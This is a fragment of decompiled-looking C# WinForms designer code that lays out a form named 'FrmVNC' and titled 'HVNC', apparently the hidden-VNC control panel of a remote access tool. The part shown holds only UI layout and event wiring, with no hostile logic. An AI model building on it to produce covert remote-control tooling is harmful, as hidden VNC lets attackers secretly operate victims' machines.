base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(960, 522);
base.Controls.Add(this.xtraTabControl1);
base.Controls.Add(this.panelControl3);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FrmVNC.IconOptions.Icon");
base.IconOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("FrmVNC.IconOptions.SvgImage");
base.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(962, 556);
base.Name = "FrmVNC";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "HVNC";
base.FormClosing += new System.Windows.Forms.FormClosingEventHandler(VNCForm_FormClosing);
base.Load += new System.EventHandler(VNCForm_Load);
base.Click += new System.EventHandler(VNCForm_Click);
base.KeyPress += new System.Windows.Forms.KeyPressEventHandler(VNCForm_KeyPress);
((System.ComponentModel.ISupportInitialize)this.VNCBox).EndInit();
((System.ComponentModel.ISupportInitialize)this.chkClone.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.ResizeScroll).EndInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.QualityScroll).EndInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.IntervalScroll).EndInit();
((System.ComponentModel.ISupportInitialize)this.DuplicateProgess.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl2).EndInit();
this.panelControl2.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
this.panelControl1.ResumeLayout(false);
this.panelControl1.PerformLayout();
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl3).EndInit();
this.panelControl3.ResumeLayout(false);
this.panelControl3.PerformLayout();
base.ResumeLayout(false);
}
}